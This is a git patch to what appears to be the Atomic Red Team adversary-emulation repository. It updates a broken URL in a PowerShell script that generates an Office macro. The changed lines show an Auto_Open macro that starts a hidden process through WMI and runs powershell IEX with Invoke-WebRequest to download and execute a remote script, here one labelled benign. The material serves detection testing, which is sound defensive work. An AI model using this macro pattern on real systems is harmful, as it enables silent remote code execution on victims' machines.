From e2a501b28f17119975661d41fa0e508ee4ea29c6 Mon Sep 17 00:00:00 2001 From: John Lambert Date: Mon, 5 Oct 2020 09:31:36 -0700 Subject: [PATCH] Fix 404 URL (#1233) Co-authored-by: Carrie Roberts --- ARTifacts/Initial_Access/generate-macro.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ARTifacts/Initial_Access/generate-macro.ps1 b/ARTifacts/Initial_Access/generate-macro.ps1 index e5e46d30..e3e29e29 100644 --- a/ARTifacts/Initial_Access/generate-macro.ps1 +++ b/ARTifacts/Initial_Access/generate-macro.ps1 @@ -124,7 +124,7 @@ Sub Auto_Open() Set objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = HIDDEN_WINDOW Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process") - objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail_benign.ps1')", Null, objConfig, intProcessID + objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/dragonstail_benign.ps1')", Null, objConfig, intProcessID End Sub "@